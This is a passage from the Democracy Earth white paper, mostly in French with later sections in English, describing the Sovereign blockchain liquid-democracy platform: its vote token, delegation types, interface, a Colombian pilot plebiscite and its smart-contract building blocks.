rédiger une [https://www.ted.com/talks/tim_berners_lee_a_magna_carta_for_the_web Magna Carta du Web]: "À moins d'avoir un Internet ouvert et neutre sur lequel nous puissions compter sans nous soucier de ce qu'il se passe dans les coulisses, nous ne pourrons pas avoir un gouvernement ouvert, une démocratie saine, des communautés connectées et des cultures diverses. Il n'est pas naïf de croire que nous pouvons atteindre ce but, en revanche il est naïf de penser que nous pouvons nous croiser les bras et l'obtenir. " La centralisation est le point unique d'échec des élections et est incompatible avec la démocratie. Dans notre expérience de mise en œuvre d'un vote numérique centralisé pour la prise de décisions au sein du Partido de la Red, nous avons constaté que si une élection s'accompagne d'enjeux élevés (la totalité ou la plupart des membres ont des intérêts particuliers à défendre), la probabilité que le système soit corrompu augmente. C'est au niveau de ceux qui sont responsables du contrôle des serveurs et de l'intégrité de la base de données que les risques sont les plus élevés. Lors d'[https://asamblea.partidodelared.org/topic/58eaf4739b96a611009bc3fc élections internes,] au début de 2017, nous avons découvert des divergences entre les informations rapportées par les auditeurs de base de données et les registres tenus par les électeurs dans leurs machines locales : la manipulation des données sur les émissions de vote, la modification arbitraire de la date de clôture du scrutin, les registres effacés et le bannissement soudain de comptes enregistrés ont été prouvés et dénoncés. Cela a entraîné un sentiment largement partagé de fraude dans l'ensemble du processus. Les démocraties numériques centralisées qui ne prennent aucune mesure pour assurer la sécurité cryptographique sont des jouets utiles à des fins ludiques, mais elles peuvent s'avérer dangereuses lorsqu'elles sont mises en place en conditions réelles par des agents malintentionnés. Les élections traditionnelles recourent, quant à elles, à une technique connue sous le nom de ''comptage contradictoire'' lorsque les résultats sont serrés. Des responsables de toutes les parties concernées participent à un décompte manuel des voix. Mais lorsqu'une élection concerne une population nombreuse, le ''comptage contradictoire'' rend la corruption du scrutin très facile, puisqu'il suffit de soudoyer quelques responsables d'un parti concurrent pour obtenir le résultat souhaité. Tout système reposant sur la confiance des participants risque tôt au tard de voir sa structure s'effondrer si des responsables commettent des fraudes. [[File:/images/blockchain-permissionless-audit-voting.png|Blockchain democracies enable permissionless audits.]] La décentralisation est indispensable à des élections démocratiques. Sans elle, la corruption est toujours possible. Les blockchains permettent de mettre en place des systèmes non basés sur la confiance en érodant la nécessité d'une supervision humaine et en renforçant la protection de l'intégrité du vote grâce à une ressource partagée dont la fonction principale est de pointer les voix. Cela permet la conception de systèmes électoraux complètement nouveaux. '''Avec une démocratie basée sur les blockchains, les votes ne sont plus exposés à la censure et chaque électeur peut scruter une élection sans avoir à demander un droit d'accès à l'infrastructure.''' En stockant les données de vote dans une blockchain plutôt que sur des serveurs privés ou dans des urnes, on réduit les coûts d'audit, et le contrôle devient un droit garanti pour chaque participant. Les électeurs ne sont plus seulement des spectateurs, ils sont aussi les gardiens souverains de l'ensemble du processus. Les systèmes électoraux traditionnels, analogiques ou électroniques sont incapables de ce niveau de transparence. ===1.6 Souveraineté.=== Sur Internet d'aujourd'hui, le vote a toujours été l'interaction principale. Chaque fois que les utilisateurs ''likent'', ''font remonter'', ''assignent un cœur'', ''copient un lien'' ou ''retweetent'' du contenu, ils expriment une préférence qui alimente la génération de recommandations adaptées à ce qui les intéresse. Mais ça ne va plus loin. Il s'agit d'un ''ersatz de vote'' sans répercussions institutionnelles. Les ''Likes'' des médias sociaux fonctionnent comme des tokens sans valeur qui peuvent être gonflés par un seul clic même si, en réalité, ils définissent les prix de la publicité. Les effets de réseau ont transformé cette interaction en une mécanique qui met en évidence l'influence d'une idée donnée au sein d'une groupe, un outil souvent utilisé par les détenteurs du pouvoir pour évaluer les besoins de la société. Mais les avantages financiers et politiques de ces transactions sont entièrement conservés par les [https://www.nytimes.com/2016/10/16/technology/peter-thiel-donald-j-trump.html propriétaires des réseaux]. [[File:/images/web-voting.png|Web voting.]] La technologie Sovereign, qui est capable de fonctionner sur des réseaux peer to peer, de valider l'identité, de préserver l'anonymat, de chiffrer les données et de décentraliser l'infrastructure avec un code source ouvert en accès libre et gratuit a le pouvoir de révolutionner le contexte que nous avons décrit plus haut. L'Histoire humaine n'a connu que trois types de souveraineté : la ''tribu souveraine'' où la masse obéit à un chef, le ''roi souverain'' qui ne rend de comptes qu'à Dieu, et la ''république souveraine'' dont les territoires sont régis par une loi commune. Les blockchains fonctionnant dans le cyberespace font émerger un quatrième type, ''l'individu en réseau''. Ce n'est pas une possibilité farfelue : la conquête de [https://www.amazon.com/Sovereign-Individual-Mastering-Transition-Information/dp/0684832720 la souveraineté personnelle] est déjà une réalité pour ceux qui gèrent leurs finances avec des bitcoins ou d'autres actifs cryptographiques. Selon les termes de l'investisseur [http://twitter.com/naval Naval Ravikant], “on peut traverser une frontière internationale en transportant un milliard de dollars en bitcoins entièrement dans sa tête". Ce type d'acte souverain est sans précédent, même pour des chefs d'État contemporains. L'adoption généralisée des blockchains fait émerger un modèle qui a d'abord été créé dans l'ombre des institutions établies mais qui finira par les rendre obsolètes. Les blockchains sont des administrations automatisées qui présentent des avantages financiers importants en termes de coûts de transaction grâce à la suppression du recours aux intermédiaires. Elles rendent possibles des systèmes d'association libre qui contribuent à briser les contraintes politiques et financières imposées par que les gouvernements et les banques en limitant le droit de vote ou l'accès au capital. Une société avancée du point de vue technologique peut prospérer au-delà des territoires nationaux, il suffit d'une connexion à internet et de citoyens numériques qui construisent un nouveau type de diaspora. ---- En nous appuyant sur ces constats, nous proposons dans la [[#Paper|Section 2]] du document une cartographie des éléments de base d'une démocratie liquide décentralisée. Une fois les outils définis, la [[#Execution|Section 3]] envisage une mise en œuvre axée sur la sécurité et l'inclusivité du système. <div id="Paper"></div> ==2. Paper.== <blockquote> It is the technology that we do not control the one that is used to control us. </blockquote> [https://twitter.com/earlkman '''Emiliano Kargieman'''], space hacker (1975). A foundational principle of democracy is the right to be heard. Today most of the world’s population is not heard: having a voice is an accident of birth. Individual and collective voices are politically and economically silenced by ‘illiquidity’ - the marginalized are given no instruments to broadcast or amplify their voice. Modern democracy is the birthchild of the ''Printing Press Era'': printed constitutional systems dependent on wet ink contracts and the speed of the postal service. Representative democracies are an accident of the information technologies of the 18th century. [[File:/images/liquid.png|Direct democracy vs. Liquid Democracy.]] A liquid democracy is based on a dynamic representation model that works with a bottom-up approach: citizens are able to freely elect within their social graph (friends, colleagues, family) who they want to have as representatives on a specific set of topics. It is the most flexible form of democratic governance that can be constructed with digital technology, operating as a hybrid that enables direct or delegated voting at any time. There are few precedents of trustworthy bottom-up environments that led to authoritative content, [https://www.wikipedia.org/ Wikipedia] being a pioneering case. But if history is any guide, the last time civilization faced [https://en.wikipedia.org/wiki/Age_of_Enlightenment a paradigm shift regarding encyclopedic enlightment] it was precisely on the epoch preceding the rise of modern democracies. L'article qui va suivre déroule la mise en oeuvre d'une démocratie liquide utilisant [http://github.com/DemocracyEarth/sovereign Sovereign], notre application de gouvernance qui opère avec les s blockchains à partir d'une série de contrats intelligents. Nous avons misé sur la simplicité du design et de son langage afin de développer des outils authentiques, car aucune technologie ne peut satisfaire les aspirations démocratiques si elle ne s'adresse qu'aux élites. Comme l'explique pertinemment le cryptographe [https://fr.wikipedia.org/wiki/Ralph_Merkle] : <blockquote> Nous ne faisons pas appel à des citoyens ordinaires pour procéder à des opértions chirirgicales, piloter des avions, dessiner des ordinateurs ou prendre en charge les myriades de tâches qui font qu'une société fonctionne, pourquoi la gouvernance obéirait-elle à d'autres règles ? Or le problème est clair : si nous la laissons aux “experts”, ils prendront des décisions dans leur propre intérêt, non pas dans celui de nous tous. </blockquote> ===2.1 Token.=== Un système de vote idéal doit être capable de satisfaire les conditions suivantes : * '''Discrétion''': l'électeur doit pouvoir voter en secret. * '''Vérification''': l'électeur doit pouvoir vérifier les scrutins. * '''Intégrité''': le système doit être capable de corriger le décompte. De plus, en raison du risque de coercition à travers la violence physique ou de menances dans des contextes politiques instables, une option de protection des électeurs doit être introduite : * '''Résistance''': l'électeur doit être capable d'annuler son vote si nécessaire. D'après le travail mené par les chercheurs Hosp & Vora, une [https://pdfs.semanticscholar.org/24d5/5c866a7317dae11d37518b312ee460bc33d3.pdf approche de la théorie de l'information a été utilisée pour modéliser les systèmes de vote], menant ses auteurs à conclure qu'une tension naturelle existe au sein d'un système informatique entre ''l'intégrité parfaite'', ''la discrétion parfaite du scrutin'' et ''la vérification parfaite du décompte''. Les trois éléments ne peuvent pas être satisfaits simultanément si un adversaire n'est pas soumis à la puissance de calcul commune, et capable de forcer un système informatique, dans le cas où il disposerait par exemple d'un temps illimité ou d'un espace de stockage suffisant. Pour ces raisons, nous considérons qu'il est indispensable de mettre en oeuvre des démocraties digitales qui utilisent la blockchain. Avec les effets de réseau déjà en place, la blockchain est capable de vérifier l'intégrité des transactions et de prévenir la dépense multiple d'un même token. Les modèles bitcoins [https://fr.wikipedia.org/wiki/Preuve_de_travail ''preuve de travail''] récompensent une capacité de calcul en vérifiant les blocks de transaction (à travers les ''mines''), générant à des réseaux “300 fois plus puissant que les ressources de Google” selon le mineur pionnier [http://twitter.com/balajis Balaji Srinivasan]. C'est pourquoi notre design est fondé sur des tokens avec des réseau de blockchain qui fonctionnent comme une ''cryptomonnaie politique''. Ce qui différencie un vote d'une monnaie (ou une ''économie politique'' d'une ''économie financière'') tient du fait que la monnaie politique est pensée pour guarantir le doit à la participation d'après des conditions justes entre tous les membres d'une organisation. Les droits ont pour objectif de satisfaire une gouvernance légitime au sein d'une institution. Tandis que la monnaie est le langage de l'intérêt particulier, le vote exprime l'intérêt partagé d'une communauté. La monnaie politique ne sert pas seulement l'échange, mais aussi le choix social. {| class="wikitable" |- ! scope="col"| Feature ! scope="col"| Coins ! scope="col"| Votes |- ! scope="row"| Utility | Trade. | Governance. |- ! scope="row"| Mining | Computation (e.g. Proof of Work). | Attention (e.g. Proof of Identity). |- ! scope="row"| Liquidity | Scarce. | Guaranteed. |- ! scope="row"| Signal | Self interest. | Social choice. |- ! scope="row"| Value | Space (material goods). | Time (information). |} ====2.1.1 Mise en œuvre.==== Etant donné que [https://en.wikipedia.org/wiki/Dogecoin la capacité de mimétisme peut entraîner une création de valeur], le token Democracy Earth qui donne accès au droit de vote sera marqué du message le plus important qu'une démocratie - quelle qu'elle soit - puisse transmettre : ''vote''. Le token ''vote'' peut être mis en oeuvre grâce à un code contrat intelligent à travers une variété de blockchains qui supportent des scripts [https://en.wikipedia.org/wiki/Turing_completeness Turing-complet], dont le Bitcoin. Nous avons imaginé un système indépendant de la blockchain car nous sommes conscients que l'informatique en est encore à ses balbutiements et des innovations importantes restent à inventer. Nous travaillons toutefois à l'implémentation du token ''vote'' dans les environnements de contrats intelligents suivants : * '''Ethereum''': Utilisation d'un ensemble de contrats intelligents [https://github.com/ethereum/solidity Solidity] selon le [https://theethereum.wiki/w/index.php/ERC20_Token_Standard token standard Ethereum ERC20]. ** '''Rootstock''': Nous prenons les mesures nécessaires pour rendre le code de Solidity compatible avec [http://www.rsk.co/ l'interprète de contrat intelligent de Rootstock pour la blockchain Bitcoin]. * '''Lightning''': Avec l'activation du [https://en.bitcoin.it/wiki/Segregated_Witness témoin séparé] dans le protocole Bitcoin, qui permet l'acheminement des canaux de paiement par [http://lightning.network le protocole Lightning Network], les délégations dans la démocratie liquide peuvent être cartographiées à l'aide de transactions de niveau satoshi portant un identifiant ''vote'' attaché. Les coûts de règlement des transactions via la blockchain doivent être couverts par l'organisme de mise en oeuvre. En outre, les implémentations multi-chaînes sont encouragées, dans l'esprit de favoriser davantage d'expérimentation et de collaboration par rapport à ces technologies. ===2.2 Mécanismes de vote.=== Le token de ''vote'' vise à devenir une norme pour la démocratie numérique ; un outil capable d'interagir avec d'autres tokens et établissant un langage commun pour la gouvernance des organisations fondées sur les blockchains. Les démocraties liquides rendent possible une large palette de transactions de ''vote'': * '''Le vote direct''': Alice, électrice égoïste, est autorisée à utiliser ses tokens pour exprimer directement par le vote son avis sur des sujets précis, comme dans une démocratie directe. * '''La procuration simple''': Alice peut déléguer ses ''votes'' à Bob. Tant que Bob a accès à ces tokens, il peut les utiliser pour voter au nom d'Alice. * '''La procuration circonscrite à une étiquette''': Alice peut déléguer sa ''voix'' à Charlie en l'assortissant de la condition qu'il ne peut utiliser les tokens que pour voter sur des problèmes portant une étiquette spécifique. Si la procuration précise que les ''votes'' délégués s'appliquent uniquement aux décisions portant l'étiquette ''#environnement'', then Charlie won't be able to use these anywhere else but on those specialors Charlie ne pourra pas les utiliser pour voter sur d'êtres questions. Cela conduit à un modèle de représentation qui ne dépend pas du territoire, mais de la connaissance. * '''La procuration transitive''': Si Bob a reçu une ''procuration'' d'Alice, il peut ensuite déléguer à Frank. Cela génère une chaîne de procurations qui habilité des acteurs spécifiques au sein d'une communauté. Si Alice ne souhaite pas que des tiers reçoivent la procuration qu'elle a confiée à Bob, elle peut modifier le cadre transitif du contrat de procuration. Les procurations circulaires (p. Ex. Alice recevant de Frank les tokens qu'elle a envoyés à Bob) sont interdites puisque l'attribution initiale de ''votes'' par une organisation à ses membres les assortit d'une signature indiquant qui est le propriétaire souverain des ''votes''. * '''Le vote prioritaire''': Si Bob a déjà utilisé la ''procuration'' qu’il a reçue d'Alice, mais qu'elle a une opinion différente sur un problème donné, en tant que propriétaire souveraine de ses ''votes'', Alice conserve le pouvoir d'annuler la décision de Bob. Les votants ont toujours le dernier mot sur les décisions grâce à leurs tokens d'origine. * '''Le vote public''': Souvent considéré comme la ''règle d’or'' des démocraties liquides, tous les mandants ont le droit de savoir comment leur mandataire a utilisé leurs ''votes''sur un problème donné. De même que les votes des parlementaires des démocraties conventionnelles sont publics, les mandataires concurrents d'une démocratie liquide sont incités à se forger une réputation publique par leur historique de vote afin d'attirer davantage de procurations. * '''Le vote secret''': Une méthode qui rend les ''transactions de vote'' absolument intraçables pour les électeurs. C'est indispensable dans le contexte d'élections publiques concernant des populations nombreuses où le risque de coercition est élevé. Même dans le cas d'un respect parfait du secret du ''vote'' , il reste possible de remonter jusqu'aux électeurs en exploitant les métadonnées. C'est pourquoi la recherche sur l'intégration avec les blockchains conçues pour les transactions anonymes dotées d'une traçabilité éprouvée est souhaitable. Cela pourrait passer par une taxe sur le minage pour régler la ''transaction de vote''. . Elle pourrait être subventionnée par l'organisme chargé de la mise en oeuvre ou bien directement payée par les électeurs. Nous recommandons la recherche et l'intégration des scrutins secrets avec les blockchains ci-dessous : ** [https://z.cash ZCash]: permet des transactions blindées grâce à des [https://en.wikipedia.org/wiki/Zero-knowledge_proof preuves à divulgation nulle de connaissance] ** [https://getmonero.org Monero]: s'appuie sur [https://en.wikipedia.org/wiki/Ring_signature ur les signatures de cercle avec des adresses "stealth" à usage unique]. ===2.3 Expérience utilisateur.=== L'expérience utilisateur (UX) est un aspect essentiel d'une architecture décentralisée et le devient d'autant plus à mesure que le mille-feuilles redondant des architectures centralisées se condense autour de l'utilisateur. Dans une architecture internet centralisée, l'utilisateur n'est propriétaire ni de l'interface ni de l'expérience. Dans une architecture Internet décentralisée au contraire, l'interface utilisateur (IU) doit être axée sur la perspective de l'utilisateur. Les transactions sont opérées selon trois modes distincts : * '''Individuel (SELF)''': Utilisation d'une identité publique liée à un individu. * '''Organisation (ORG)''': En représentation d'une organisation qui confère des droits de représentation à des individus (entreprise, club, parti politique, etc.). * '''Anonyme (ANON)''': Sans lien aucun avec une identité publique. La prise en compte de cette exigence multiforme ''SELF / ORG / ANON'' a fortement influencé la conception de notre interface et des tokens. Les utilisateurs de Sovereign peuvent à tout moment opter pour l'un ou l'autre de ces modes pour interagir avec les organisations décentralisées. ====2.3.1 Liquidité.==== L'objectif de Sovereign est de rendre le vote liquide immédiat et simple. Il convient d'éviter tout accroc dans le processus. En outre, le widget de procuration doit être visible en permanence sur l'interface de consultation des sujets à débattre ou des profils des membres. Sovereign utilise donc une ''barre liquide'' qui permet d'opérer des ''transactions de vote'' d'un seul geste, aussi bien sur mobile que sur ordinateur. [[File:/images/liquid-mobile-ux.png|Sovereign mobile interface displaying decision, ballot and liquid voting.]] La ''barre liquide'' aoffre les fonctionnalités suivantes : * '''Rappel des ''votes'' disponibles''': Dans une démocratie liquide, un utilisateur peut être dépositaire d'une ou plusieurs procurations, un rappel constant des votes restants l'aide par conséquent à connaître son pouvoir dans le système à un moment T. Si certains ''votes'' ont été délégués dans des conditions strictes (avec une ''procuration circonscrite à une étiquette'' par exemple), cela signifie qu'un utilisateur n'aura pas la même quantité de votes disponibles pour chaque sujet. * '''Affichage des ''votes'' exprimés''': Affichage d'un pourcentage représentant la quantité de ''votes'' déjà exprimés sur d'autres décisions ou délégués à d'autres membres de la communauté. L'utilisateur peut cliquer à tout moment sur cette valeur pour afficher une liste complète des sujets sur lesquels il a utilisé un ''vote'' et décider de ne pas modifier son choix ou au contraire de procéder à un changement stratégique. * '''Glisser pour ''voter''''': L'utilisateur peut utiliser son doigt (ou la souris) pour faire glisser la ''barre liquide'' vers la droite. Une demande de confirmation s'affiche alors pour établir s'il souhaite ou non ''voter''. * '''Cliquer pour ''voter''''': Si l'utilisateur ne souhaite pas allouer plus d’1 vote, il peut simplement appuyer sur la ''barre liquide'' une fois et sera invité à confirmer une transaction de ''vote'' unique. * '''Retrait de ''votes''''': Tant que le scrutin est ouvert, l'utilisateur peut à n'importe quel moment retirer son ou ses ''votes'' 'une décision. Il lui suffit de faire glisser la ''barre liquide'' vers la gauche pour la remettre dans la position initiale. Cette interaction nous paraît un progrès par rapport au système de ''likes'' des médias sociaux. Le système des ''likes'' limite le vote à des clics dénués d'intention et pouvant être gonflés à volonté. Dans notre proposition, les votes sont une ressource rare qui ne peut pas être générée à volonté. Les utilisateurs doivent donc faire preuve d'un minimum de réflexion tactique pour peser sur une décision spécifique. Les ''votes'' ont des implications réelles pour l'utilisateur en tant qu'acteur d'une organisation décentralisée alors que les ''likes'' ne profitent qu'aux entreprises qui les contrôlent. ====2.3.2 Procurations.==== La ''barre liquide'' affiche également les procurations qu'un utilisateur a reçues ou données à tout autre membre d'une organisation. Les procurations vont dans les deux sens : * '''Mandataire (procurations envoyées)''': Un utilisateur doit être en mesure de déléguer n'importe lequel de ses ''votes'' disponibles et de consulter, le cas échéant, le nombre de votes délégués à un moment T. * '''Mandaté (procurations reçues)''': Un utilisateur doit avoir une vision claire du nombre de ''votes'' confiés par d'autres utilisateurs. Chaque fois qu'un profil de membre est affiché sur Sovereign, le statut des procurations entre l'utilisateur et le membre en question s'affiche. [[File:/images/delegation-relation-votes.png|View of vote delegation relation with another member.]] ====2.3.3 Agora.==== Sovereign propose également un outil de discussion qui répond au nom de code ''Agora''. Dans toute démocratie, le débat est probablement aussi important que le vote. Les Agoras affichent les ''fils de discussion'', un modèle abouti dont [http://reddit.com Reddit] et [http://news.ycombinator.com Hacker News]ont été les pionniers. Nous considérons ce modèle d'expérience utilisateur comme la meilleure façon d'engager des conversations réfléchies en ligne car les commentaires les plus appréciés remontent à la surface, ce qui aide à trier l'information en utilisant l'intelligence collective de la communauté. Contrairement aux applications basées sur le Web, Sovereign ne permet cependant pas d'interactions de témoignage : plutôt que de permettre des ''upvotes'' ou ''downvotes'', à l'infini, si l'utilisateur se retrouve dans le commentaire d'un autre usager de la plateforme, la délégation d'un seul ''vote''est instantanément déclenchée. Les Agoras permettent donc : * '''Les upvotes''': Envoi d'un seul ''vote'' délégué de l'utilisateur à l'auteur du commentaire. * '''Les downvotes''': Si un utilisateur n'est pas d'accord avec le commentaire de quelqu'un, un ''downvote'' peut permettre de révoquer une ''procuration'' s'il avait délégué des votes à l'auteur du commentaire. Ou alors, si aucune procuration ne relie ces usagers, un ''downvote'' agira comme une pénalité en renvoyant un ''vote'' de l'intervenant à l'organisation mettant en œuvre le système Sovereign. Les critères de ce type de sanction peuvent être définis dans le ''contrat constitutionnel intelligent'' de l'organisation chargée de la mise en oeuvre. Ce mécanisme a le mérite d'inciter à déléguer les votes et à rendre les procurations plus fréquentes sur la plateforme. L'impact politique de débats constamment exposés à la sanction du ''vote'' est réel. Ce mécanisme peut aider à récompenser les bons arguments et à punir le trolling sans qu'il soit besoin de mettre en place des instances de modération. === 2.4 Projet pilote === <blockquote> La technologie des blockchains pourrait révolutionner le vote, exactement comme cela a été le cas pour la monnaie, et pourrait s'appliquer à n'importe quel gouvernement démocratique.</blockquote> [https://www.oecd.org/gov/innovative-government/embracing-innovation-in-government-colombia.pdf '''L'Organisation de coopération et de développement économiques'''], Faire place à l'innovation dans le gouvernement : tendances mondiales (2016). En octobre 2016, à la suite du choc provoqué par un "Non" inattendu au référendum colombien sur la paix - issue mettant en péril des années de négociations entre le gouvernement et les narcoguérillas marxistes - Democracy Earth a mis la plate-forme de démocratie liquide Sovereign au service d’un [http://plebiscitodigital.co/ plébiscite en ligne], donnant ainsi un accès symbolique au vote à une diaspora d'environ 6 millions de citoyens expatriés. Plutôt que de contraindre les électeurs à un choix binaire, ce projet pilote leur a permis de voter séparément sur sept sous-thèmes du projet de traité et de déléguer leurs votes à des électeurs plus informés. Les résultats ont fait apparaître des nuances importantes dans les préférences des électeurs que le référendum n'avait pas permis de révéler, dont un [https://words.democracy.earth/a-digital-referendum-for-colombias-diaspora-aeef071ec014 point d’achoppement essentiel]: les participants du projet pilote se sont, à une écrasante majorité, prononcés contre une clause spécifique du traité concernant la participation politique des FARC. [[File:/images/colombia-use-case.png|Colombia use case data..]] Cette étude pilote a en [https://www.oecd.org/gov/innovative-government/embracing-innovation-in-government-colombia.pdf outre permis] de renforcer le poids médatique et politique de la démocratie liquide décentralisée fondée sur les blockchains en Colombie. On a vu naître depuis un parti politique qui défend l'utilisation des blockchains, le Partido de la Red Colombia («Le Parti du Réseau»), et le Centre pour l'innovation publique numérique (CDPI) du gouvernement colombien a quant à lui lancé des études sur cette technologie. ===2.5 Contrats Intelligents.=== Lorsque Claude Shannon a écrit son [http://math.harvard.edu/~ctm/home/text/others/shannon/entropy/entropy.pdf article fondateur de 1948 sur la Théorie de l'Information], il a réussi à démontrer comment les circuits peuvent effectuer des fonctions logiques en exprimant un état binaire valant 1 ou 0 (états <code>vrai</code> ou <code>faux</code>). Depuis lors, la technologie numérique a façonné la dynamique de tout type de systèmes d'information. Dans cet esprit, nous nous sommes concentrés sur la création d'une conception efficace d'un appareil de gouvernance capable de fonctionner avec des blockchains et qui maintient ses opérateurs humains en tant que dirigeants souverains au moyen de ''votes''. De la même manière que les bits se déplacent dans les ordinateurs signalant un état <code>vrai</code> ou <code>faux</code>, les ''votes'' signalent une valeur booléenne pour que les décisions institutionnelles soient enregistrées dans le cadre de contrats intelligents. Les jetons de ''vote'' fonctionnent dans les limites institutionnelles créées par cet ensemble de contrats: <code>Organizations</code> (Organisations), <code>Members</code> (Membres), <code>Issues</code> (Enjeux), <code>Ballots</code> (Bulletins de vote) and <code>Budgets</code> (Budgets). Ce sont les éléments de base qui aident à créer un circuit de gouvernance qui peut monter en échelle pour opérer des démocraties liquides au sein de communautés de toute taille. [[File:/images/vote-liquid-democracy-smart-contracts.png|VOTE Liquid Democracy smart contracts..]] ====2.5.1 <code>Organizations</code> (Organisation)==== L'entité ou institution implémentant une instance de Sovereign est désignée comme une organisation (<code>Organization</code>). Cette entité agit en tant qu'autorité gouvernante définissant qui sont les membres (<code>Members</code>) autorisés à participer à ses décisions et en leur accordant des jetons de ''vote''. Puisque les organisations (<code>Organizations</code>) peuvent exister dans un réseau décentralisé, les exigences pour rendre une entité capable de fonctionner avec des ''votes'' sont similaires à celles trouvées lors de la mise en place d'un site web: * Domaine (<code>Domain</code>): Chaque organisation doit avoir son propre nom de domaine (par exemple, ''democratie.earth'' sur le protocole HTTP). Certaines peuvent même avoir un espace de noms fonctionnant comme un domaine de premier niveau ou un TLD (Top Level Domain, par exemple ''.earth''). Ce code de référence pour une organisation au sein d'un réseau ouvert, qu'il s'agisse de l'ancien réseau HTTP ou de nouveaux réseaux émergents pour des domaines décentralisés tels que [https://blockstack.org Blockstack], est crucial pour construire une couche sémantique qui décrit efficacement les problèmes (<code>Issues</code>) sans risquer que les électeurs manipulent les tags dans un système fermé (référé à la section 2.5.4 comme ''squatting''). Les noms de domaine aident à décrire un problème ainsi qu'à restreindre la portée d'un contrat de délégation. * Constitution (<code>Constitution</code>): Chaque organisation a une constitution qui définit ses règles fondamentales sous la forme d'un contrat intelligent. Le ''contrat intelligent constitutionnel'' décrit comment les membres (<code>Members</code>), les problèmes (<code>Issues</code>) et les ''votes'' se connectent au sein du système. =====2.5.1.1 <code>Constitution</code>===== The ''constitutional smart contract'' determines how ''votes'' will be allocated to members among other governance decisions. Allocation conditions are a prerogative of the organization depending on its goals: in some cases it can be aligned with financial rights (e.g. the shareholders of a corporation getting one ''vote'' per share); in other cases can be assigned based on an egalitarian distribution to all members (e.g. tax payers within a jurisdiction each getting a same amount of ''votes''). The basic settings to be found on a constitution are: * '''Decentralized ID''' (or URL): An identifier that helps refer to the <code>Organization</code> anywhere on the network and that it is connected to its <code>Domain</code>. * '''Bio''': A basic description of the organization including its name, website, address, jurisdiction (if applicable). * '''Funding''': The amount of ''vote'' tokens this organization will manage and how these will be allocated to every member and grant access to <code>Budgets</code>. * '''Membership''': Requirements to become a valid member within organization. This criteria defines the voter registry that guarantees a fair electoral process of a democracy and can be scrutinized by its members. ** '''Open''': Anyone can freely join an organization. ** '''Voted''': Existing members must vote on applicant members. A percentage criteria must be set for approval. ** '''Fee''': The organization requires a payment for membership approval. * '''Content''': Defines who is allowed to post <code>Issues</code> on the organization. ** '''Open''': Anyone (whether its a member or not) can post. Only members get the right to vote. ** '''Members''': Only approved members have the right to post. ** '''Special Members''': Members that meet certain criteria (e.g. a minimum of delegated ''votes'' or ''votes'' received under a specific tag) have the right to post. ** '''Anonymous''': Defines whether anonymous content is allowed to be posted. * '''Moderation''': Describes the rules that help define a code of conduct among members of an organization. ** '''Ban''': An amount of ''downvotes'' required to ban a member from participating in the organization and the penalty attached to it (e.g. a period of time) ** '''Expulsion''': If an organization is based on ''Voted Membership Approval'', a member can receive negative votes from other members signalling that such identity has been corrupted or is no longer part of the organization. This criteria can be established as a minimum percentage required. * '''Voting''': The allowed <code>Ballots</code> to be used for the decisions to be made by the organization and specific settings such as ''quadratic voting''. * '''Reform''': The requirements to change any of the rules set on a ''Constitution'' (e.g. a special majority). Templates defining common practices for specific kinds of organizations are encouraged to simplify organizational setup. This will be aided and abetted through work with the Democracy Earth Foundation partnership with [https://aragon.one/ Aragon], who is working on a digital jurisdiction that will make decentralized organizations efficient. Sovereign will include templates for corporations, political parties, trade unions, clubs and coops among others; whatever form the organization takes, Aragon's decentralized network ensures that a company will always work, even in the face of malicious tampering by hostile third parties or abusive governments. ====2.5.2 <code>Members</code>==== Every Organization has members that get the right to vote on the decisions of the organization. Membership criteria is defined in the ''constitutional smart contract'' and is key for the trust on any democratic environment. Among the most common ways to subvert an election is the manipulation of voter registry. Securing this aspect with cryptographic means as well as an approval protocol is critical. Once a member is approved within an organization, he or she gets a specific amount of ''votes'' to be used for its governance. All <code>Organizations</code> who take the responsibility to approve or disapprove <code>Members</code>, contribute with this task to the ''Proof of Identity'' process described on Section 3.3. Compatibility with decentralized identity protocols is encouraged for the purpose of guaranteeing decentralized governance. The [https://opencreds.github.io/did-spec/ specification of DIDs (decentralized identifiers analogous to the web's URIs)], proposed by the [https://www.w3.org/ W3C] enabling self-sovereign verifiable digital identity is recommended. ====2.5.3 <code>Issues</code>==== An organization consists of a collection of ''issues'' each describing a decision to be made by the members. Membership properties described in the ''constitutional smart contract'' define member's voting and posting rights. An issue in its most basic form has these properties: * <code>Description</code>: Text of the decision to be made. * <code>Tags</code>: Categories that describe the decision within the organization. This helps members navigate across issues, define areas or teams within an organization and limit the scope of a delegation of ''votes''. If the implementation is done with blockchain environments that are used to manage a fixed taxonomy (like [http://blockstack.org Blockstack]), a common distributed language for tags based on decentralized domains helps making the democratic environment more fair as it avoids members trying to control naming conventions for their own benefit. For this reason, within an open network <code>Tags</code> that describe <code>Issues</code> or are used to constraint delegations, are pointers to other <code>Organizations</code>. This is detailed in the ''Proof of Identity'' process. * <code>Signatures</code>: Members that are authoring the proposal. It can remain anonymous if an organization's governance rules allows it. * <code>Ballot</code>: The presented options for voters to participate on this decision. * <code>Budget</code>: An optional element that may include locked funds in a cryptocurrency address that can trigger an action if a decision is voted in support. * <code>Timespan</code>: For the final tally, an open poll must also set its scope in time and define the kind of decision being made. There are two types of decisions: ** <code>Tactical</code> (limited in time): These are contracts that receive ''votes'' until a closing date is met, where a given block height within the blockchain implementing the ''vote'' smart contracts can be set as the end line for the electoral process. Once all transactions have been tallied and a final result is recorded, all tokens get returned to the corresponding voters and can be used again on future decisions. ** <code>Strategical</code> (unlimited in time): Never-ending open polls that are perpetually registering the consensus of a decision state. ''votes'' can be retrieved by voters at any given time if they feel the need to discontinue their voice in support or rejection of a decision. But as long as the token is assigned to signal a preference on a contract ballot without closing date, it is part of the strategical decision. A common use for strategical decisions can be the members voting for approval of other members within the community of an organization. ====2.5.4 <code>Ballot</code>==== An issue can be implemented with any possible ballot design according to the specifications defined in the ''constitutional smart contract'' of the organization. The building blocks for a ballot are its <code>Interface</code>, <code>Options</code> and <code>Criteria</code>. =====2.5.4.1 <code>Interface</code>===== By default Sovereign provides the most commonly used choice mechanisms for ballot interaction. Further innovation on ballot interfaces is encouraged. * <code>SingleChoice</code>: One selectable option. * <code>MultipleChoice</code>: One or more selectable options. * [https://en.wikipedia.org/wiki/Cardinal_voting <code>Cardinal</code>]: A given score per option with a pre-defined range of value. * [https://en.wikipedia.org/wiki/Ranked_voting <code>Ranked</code>]: Sortable options as ranked preferences. [https://en.wikipedia.org/wiki/Arrow%27s_impossibility_theorem Arrow's impossibility theorem] must be taken into consideration for any innovation regarding ranked ballots. This theorem states that rank-based electoral systems are not able to satisfy fairness on three key aspects at the same time: ** '''Unrestricted domain''': all preferences of all voters are allowed. ** 